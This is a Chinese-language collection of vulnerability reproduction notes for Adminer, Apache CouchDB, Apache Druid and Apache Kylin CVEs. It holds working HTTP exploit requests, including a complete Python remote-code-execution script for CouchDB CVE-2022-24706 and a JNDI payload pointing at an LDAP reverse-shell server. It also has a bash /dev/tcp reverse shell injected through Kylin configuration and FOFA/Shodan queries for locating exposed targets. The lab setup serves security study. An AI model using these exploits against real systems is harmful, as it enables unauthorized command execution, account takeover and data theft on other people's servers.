数据库及工具漏洞


IP签名

数据库及管理工具

adminer

CVE-2021-21311

Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)

Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。

在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。

参考连接:

漏洞环境

执行如下命令启动一个安装了Adminer 4.7.8的PHP服务:

docker compose up -d

服务启动后,在http://your-ip:8080即可查看到Adminer的登录页面。

漏洞复现

在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写example.com,点击登录即可看到example.com返回的400错误页面展示在页面中:

image-20240805111127901

CVE-2021-43008

Adminer远程文件读取(CVE-2021-43008)

Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。

在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。

参考链接:

漏洞环境

执行如下命令启动Web服务,其中包含Adminer 4.6.2:

docker compose up -d

服务启动后,在http://your-ip:8080即可查看到Adminer的登录页面。

Exploit

使用mysql-fake-server启动一个恶意的MySQL服务器。在Adminer登录页面中填写恶意服务地址和用户名fileread_/etc/passwd

可见,我们已经收到客户端连接,读取到的文件/etc/passwd已保存至当前目录:

image-20240805111150893

Apache-CouchDB

CVE-2017-12635

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本:小于 1.7.0 以及 小于 2.1.1

参考链接:

测试环境

编译及启动环境:

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:5984/_utils/即可看到一个web页面,说明Couchdb已成功启动。但我们不知道密码,无法登陆。

漏洞复现

首先,发送如下数据包:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

可见,返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色:

发送包含两个roles的数据包,即可绕过限制:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

成功创建管理员,账户密码均为vulhub

再次访问http://your-ip:5984/_utils/,输入账户密码vulhub,可以成功登录:

image-20240805110017934

CVE-2017-12636

Couchdb 任意命令执行漏洞(CVE-2017-12636)

Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

影响版本:小于 1.7.0 以及 小于 2.1.1

参考链接:

测试环境

Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是1.6.0版本,如果你想测试2.1.0版本,可以启动CVE-2017-12635附带的环境。

执行如下命令启动Couchdb 1.6.0环境:

docker compose up -d

启动完成后,访问http://your-ip:5984/即可看到Couchdb的欢迎页面。

漏洞复现

该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。

1.6.0 下的说明

依次执行如下请求即可触发任意命令执行:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

其中,vulhub:vulhub为管理员账号密码。

第一个请求是添加一个名字为cmdquery_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。

第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。

第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmdquery_servers,最后触发命令执行。

2.1.0 下的说明

2.1.0中修改了我上面用到的两个API,这里需要详细说明一下。

Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:

curl http://vulhub:vulhub@your-ip:5984/_membership

可见,我们这里只有一个node,名字是nonode@nohost

然后,我们修改nonode@nohost的配置:

curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

Couchdb 2.x删除了_temp_view,所以我们为了触发query_servers中定义的命令,需要添加一个_view

curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

增加_view的同时即触发了query_servers中的命令。

利用脚本

写了一个简单的脚本 exp.py,修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本(1或2),成功反弹shell:

image-20240805110052681

CVE-2022-24706

CouchDB Erlang 分布式协议代码执行 (CVE-2022-24706)

Apache CouchDB是一个Erlang开发的NoSQL数据库。

由于Erlang的特性,其支持分布式计算,分布式节点之间通过Erlang/OTP Distribution协议进行通信。攻击者如果知道通信时使用的Cookie,即可在握手包通过认证并执行任意命令。

在CouchDB 3.2.1及以前版本中,使用了默认Cookie,值为“monster”。

参考链接:

漏洞影响

CouchDB <= 3.2.1

网络测绘

port=”4369” && “couchdb”

漏洞环境

执行如下命令启动一个Apache CouchDB 3.2.1服务:

docker compose up -d

服务启动后,会监听三个端口:

  • 5984: Apache CouchDB Web管理接口
  • 4369: Erlang端口映射服务(epmd)
  • 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中)

其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际环境下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。

漏洞复现

我们可以使用这个POC来利用本漏洞。这个POC会先通过目标的4369端口epmd服务获取集群通信的端口,也就是9100,然后再使用默认Cookie来控制节点执行任意命令。

python poc.py target-ip 4369

image-20240805110144944

主页面, 默认端口为 5984

img

使用POC验证

img

验证POC

# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
#  https://habr.com/ru/post/661195/
#  https://www.exploit-db.com/exploits/49418
#  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#  https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
# 
#
#!/usr/local/bin/python3

import socket
from hashlib import md5
import struct
import sys
import re
import time

TARGET = ""
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list

# Some data:
NAME_MSG  = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"


def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

while not TARGET:
    TARGET = input("Enter target host:\n> ")

# Connect to EPMD:
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Connect to Erlang port:
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
s.send(NAME_MSG)
s.recv(5)                    # Receive "ok" message
challenge = s.recv(1024)     # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]

#print("Extracted challenge: {}".format(challenge))

# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
        s.recv(45)              # Control message
        data_size -= 45         # Data size without control message
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        #print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        #print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode(),end = '')
        data_size -= 1024
            

Apache-druid

CVE-2021-25646

Apache Druid 代码执行漏洞(CVE-2021-25646)

Apache Druid是一个开源的分布式数据存储。

Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。

参考链接:

漏洞影响

Apache Druid < 0.20.1

漏洞环境

执行如下命令启动一个Apache Druid 0.20.0服务器:

docker compose up -d

服务启动后,访问http://your-ip:8888即可查看到Apache Druid主页。

漏洞复现

直接发送如下请求即可执行其中的JavaScript代码:

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

可见,id命令已被成功执行:

image-20240805111952312

CVE-2021-36749

Apache Druid LoadData 任意文件读取漏洞

漏洞描述

由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

漏洞影响

Apache Druid

网络测绘

title="Apache Druid"

漏洞复现

主页面

img

复现过程

img

img

请求包为

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Accept: application/json, text/plain, */*

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

image-20240812171807870

Apache Druid sampler kafka 远程命令执行漏洞

漏洞描述

Apache Druid 支持从 Kafka 加载数据,恶意的攻击者可通过修改 Kafka 连接配置属性,从而进一步触发 JNDI 注入攻击,最终攻击者可在服务端执行任意恶意代码,获取系统服务权限。

漏洞影响

Apache Druid

网络测绘

title_string = “Apache Druid”

漏洞复现

登陆页面

img

验证POC

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1392
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close  

{
    "type":"kafka",
    "spec":{
            "type":"kafka",
            "ioConfig":{
                "type":"kafka",
                "consumerProperties":{
                    "bootstrap.servers":"6.6.6.6:9092",
                    "sasl.mechanism":"SCRAM-SHA-256",
                    "security.protocol":"SASL_SSL",
                    "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://xxx.xxx.xxx.xxx:1389/Basic/ReverseShell/xxx.xxx.xxx.xxx/8373\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
                },
                "topic":"any",
                "useEarliestOffset":true,
                "inputFormat":{
                    "type":"regex",
                    "pattern":"([\\s\\S]*)",
                    "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                    "columns":[
                            "raw"
                    ]
                }
            },
            "dataSchema":{
                "dataSource":"sample",
                "timestampSpec":{
                    "column":"!!!_no_such_column_!!!",
                    "missingValue":"1970-01-01T00:00:00Z"
                },
                "dimensionsSpec":{        

                },
                "granularitySpec":{
                    "rollup":false
                }
            },
            "tuningConfig":{
                "type":"kafka"
            }
    },
    "samplerConfig":{
            "numRows":500,
            "timeoutMs":15000
    }
}

image-20240812172253518

POST /druid/indexer/v1/sampler  HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping p3fpw5.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

image-20240812172844858




Apache-Kylin

CVE-2020-13937

Apache Kylin config 未授权配置泄露

漏洞描述

Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息

Apache Kylin 是美国 Apache软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark之上的 SQL查询接口及多维分析(OLAP)等功能。

网络测绘

FOFA: app="APACHE-kylin"

环境搭建

docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功

img

漏洞复现

漏洞验证POC

/kylin/api/admin/config

image-20240812175600085

CVE-2020-1956

Apache Kylin CubeService.java 命令注入漏洞

漏洞描述

2020年5月22日,CNVD通报了 Apache Kylin存在命令注入漏洞 CVE-2020-1956

Apache Kylin 是美国 Apache软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark之上的 SQL查询接口及多维分析(OLAP)等功能。

影响版本

Apache Kylin 2.3.0 ~ 2.3.2

Apache Kylin 2.4.0 ~ 2.4.1

Apache Kylin 2.5.0 ~ 2.5.2

Apache Kylin 2.6.0 ~ 2.6.5

Apache Kylin 3.0.0-alpha

环境搭建

docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功

img

漏洞复现

查看这个漏洞修复的补丁

image-20220306141009832

这里可以看到此漏洞有关的参数有三个,分别是 srcCfgUridstCfgUriprojectName, 相关的函数为 migrateCube

官方文档中对 migrateCube 的描述

kylin-3

POST /kylin/api/cubes/{cube}/{project}/migrate

下载 Apache Kylin 3.0.1 的源代码进行代码审计,出现漏洞函数的文件为以下路径

apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service\CubeService.java

找到migrateCube函数

kylin-4

{1-2}
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN + " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')") public void migrateCube(CubeInstance cube, String projectName) { KylinConfig config = cube.getConfig(); if (!config.isAllowAutoMigrateCube()) { throw new InternalErrorException("One click migration is disabled, please contact your ADMIN"); } for (CubeSegment segment : cube.getSegments()) { if (segment.getStatus() != SegmentStatusEnum.READY) { throw new InternalErrorException( "At least one segment is not in READY state. Please check whether there are Running or Error jobs."); } } String srcCfgUri = config.getAutoMigrateCubeSrcConfig(); String dstCfgUri = config.getAutoMigrateCubeDestConfig(); Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty."); Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty."); String stringBuilderstringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true"); String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri, cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge()); logger.info("One click migration cmd: " + cmd); CliCommandExecutor exec = new CliCommandExecutor(); PatternedLogger patternedLogger = new PatternedLogger(logger); try { exec.execute(cmd, patternedLogger); } catch (IOException e) { throw new InternalErrorException("Failed to perform one-click migrating", e); } }

PreAuthorize里面定义了路由权限,ADMIN权限、ADMINISTRATION权限和MANAGEMENT权限可以访问该service

@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
            + " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")

在1087行判断是否开启了MigrateCube设置,如果没有开启则会报错

kylin-5

跟进 isAllowAutoMigrateCube() 这个函数

kylin-6

可以看到这里默认的配置kylin.tool.auto-migrate-cube.enabled就是Flase

{2}
public boolean isAllowAutoMigrateCube() { return Boolean.parseBoolean(getOptional("kylin.tool.auto-migrate-cube.enabled", FALSE)); }

在没有开启配置kylin.tool.auto-migrate-cube.enabledtrue的情况下,调用MigrateCube则会出现报错

image-20210629155426528

通过Apache KylinSYSTEM模块开启kylin.tool.auto-migrate-cube.enabledTrue

kylin-8

kylin-9

设置后再去请求则不会出现刚刚的报错,而是出现Source configuration should not be empty

kylin-10

跟进出现报错的代码块

{4-5}
String srcCfgUri = config.getAutoMigrateCubeSrcConfig(); String dstCfgUri = config.getAutoMigrateCubeDestConfig(); Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty."); Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty.");

这里进行了对kylin.tool.auto-migrate-cube.src-configkylin.tool.auto-migrate-cube.dest-config的配置进行了检测,如果为空则会出现刚刚的报错

跟进 getAutoMigrateCubeSrcConfig()getAutoMigrateCubeDestConfig()函数

kylin-12

{2}
public String getAutoMigrateCubeSrcConfig() { return getOptional("kylin.tool.auto-migrate-cube.src-config", ""); } public String getAutoMigrateCubeDestConfig() { return getOptional("kylin.tool.auto-migrate-cube.dest-config", ""); }

发现这两个配置默认为空,因为配置允许自定义,所以srcCfgUridstCfgUri两个变量均是可控的, 继续向下走,发现一处命令拼接

kylin-13

{1-4}
String stringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true"); String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri, cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge()); logger.info("One click migration cmd: " + cmd); CliCommandExecutor exec = new CliCommandExecutor(); PatternedLogger patternedLogger = new PatternedLogger(logger); try { exec.execute(cmd, patternedLogger); } catch (IOException e) { throw new InternalErrorException("Failed to perform one-click migrating", e); } }

进入到execute函数

{17}
private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException { SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd); SSHClientOutput sshOutput; try { sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender); int exitCode = sshOutput.getExitCode(); String output = sshOutput.getText(); return Pair.newPair(exitCode, output); } catch (IOException e) { throw e; } catch (Exception e) { throw new IOException(e.getMessage(), e); } } private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException { String[] cmd = new String[3]; String osName = System.getProperty("os.name"); if (osName.startsWith("Windows")) { cmd[0] = "cmd.exe"; cmd[1] = "/C"; } else { cmd[0] = "/bin/bash"; cmd[1] = "-c"; } cmd[2] = command; ProcessBuilder builder = new ProcessBuilder(cmd); builder.redirectErrorStream(true); Process proc = builder.start(); BufferedReader reader = new BufferedReader( new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8)); String line; StringBuilder result = new StringBuilder(); while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) { result.append(line).append('\n'); if (logAppender != null) { logAppender.log(line); } } if (Thread.interrupted()) { logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command); proc.destroy(); try { Thread.sleep(1000); } catch (InterruptedException e) { // do nothing } return Pair.newPair(1, "Killed"); } try { int exitCode = proc.waitFor(); return Pair.newPair(exitCode, result.toString()); } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException(e); } } }

由此可以得出我们可以通过这两个可控的参数,执行任意我们需要的命令,例如反弹一个shell,设置的配置为

kylin.tool.auto-migrate-cube.enabled=true
kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
kylin.tool.auto-migrate-cube.dest-config=shell

kylin-15

再去发送POST请求 /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate

kylin-16

成功反弹一个shell

kylin-14

Apache Kylin DiagnosisController.java 命令注入漏洞 CVE-2020-13925

漏洞描述

6月,京东安全的蓝军团队发现了一个 apache kylin 远程命令执行严重漏洞( CVE-2020-13925)。黑客可以利用这个漏洞,登录任何管理员账号和密码默认未修改的账号,获得管理员权限。由于Apache Kylin被广泛应用于企业的大数据分析平台,因此该漏洞将对企业核心数据具有较大的危害,存在数据泄露风险,建议用户尽快升级软件至安全版本。

影响版本

Apache Kylin 2.3.0 ~ 2.3.2

Apache Kylin 2.4.0 ~ 2.4.1

Apache Kylin 2.5.0 ~ 2.5.2

Apache Kylin 2.6.0 ~ 2.6.5

Apache Kylin 3.0.0-alpha

环境搭建

docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功

img

漏洞复现

出现漏洞的代码文件在server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java

img

{4}
/** * Get diagnosis information for project */ @RequestMapping(value = "/project/{project}/download", method = { RequestMethod.GET }, produces = { "application/json" }) @ResponseBody public void dumpProjectDiagnosisInfo(@PathVariable String project, final HttpServletRequest request, final HttpServletResponse response) { try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory("diag_project", "")) { String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile()); setDownloadResponse(filePath, response); } catch (IOException e) { throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e); } }

这里可以看到 {project}参数是用户可控的变量,向下跟进dumpProjectDiagnosisInfo函数

{1}
public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException { aclEvaluate.checkProjectOperationPermission(project); String[] args = { project, exportPath.getAbsolutePath() }; runDiagnosisCLI(args); return getDiagnosisPackageName(exportPath); }

img

首先通过checkProjectOperationPermission函数来检查该project是否许可,然后构建一个args的字符串数组,看一下checkProjectOperationPermission函数

{2}
public void checkProjectOperationPermission(String projectName) { ProjectInstance projectInstance = getProjectInstance(projectName); aclUtil.hasProjectOperationPermission(projectInstance); }

这里传入projectName,然后通过getProjectInstance来获取项目实例,跟进getProjectInstance

{1}
private ProjectInstance getProjectInstance(String projectName) { return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName); }

因为 projectName 会被我们替换掉,所以不会获得一个正确的projectName,则会返回一个Null,查看下hasProjectOperationPermission函数

{5}
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN + " or hasPermission(#project, 'ADMINISTRATION')" + " or hasPermission(#project, 'MANAGEMENT')" + " or hasPermission(#project, 'OPERATION')") public boolean hasProjectOperationPermission(ProjectInstance project) { return true; }

这里并没有对projectName进行检验,只对用户身份进行了检验,当为ADMIN、ADMINISTRATION、MANAGEMENT、OPERATION等权限,该值默认返回为true,回到 dumpProjectDiagnosisInfo函数,向下继续跟进runDiagnosisCLI函数

img

{14-16}
private void runDiagnosisCLI(String[] args) throws IOException { Message msg = MsgPicker.getMsg(); File cwd = new File(""); logger.debug("Current path: " + cwd.getAbsolutePath()); logger.debug("DiagnosisInfoCLI args: " + Arrays.toString(args)); File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh"); if (!script.exists()) { throw new BadRequestException( String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath())); } String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " "); CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor(); Pair<Integer, String> cmdOutput = executor.execute(diagCmd); if (cmdOutput.getFirst() != 0) { throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL()); } }

